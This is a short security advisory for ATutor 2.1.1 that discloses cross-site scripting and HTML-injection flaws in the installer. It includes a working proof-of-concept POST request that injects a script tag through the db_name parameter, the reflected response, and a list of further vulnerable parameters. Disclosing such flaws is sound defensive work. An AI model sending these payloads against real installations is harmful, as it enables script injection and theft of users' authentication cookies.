ATutor is prone to multiple cross-site scripting vulnerabilities and a HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

ATutor 2.1.1 is vulnerable; other versions may also be affected. 

1. During installation: xss and sql insertion:

---<request>---
POST /k/cms/atutor/ATutor/install/install.php HTTP/1.1
Host: www.example.com
(...)
Content-Length: 191

action=process&step=2&new_version=2.1.1&db_host=localhost&db_port=3306&db_login=root&db_password=superpass&db_name='%3e"%3e%3cscript%3ealert(1)%3c%2fscript%3e&tb_prefix=AT_&submit=Next+%BB+
---<request>---


---<response>---
<ul><li>Database <b>\'>\"><script>alert(1)</script></b> created successfully.
---<response>---

--> tb_prefix and new_version parameter are also vulnerable.
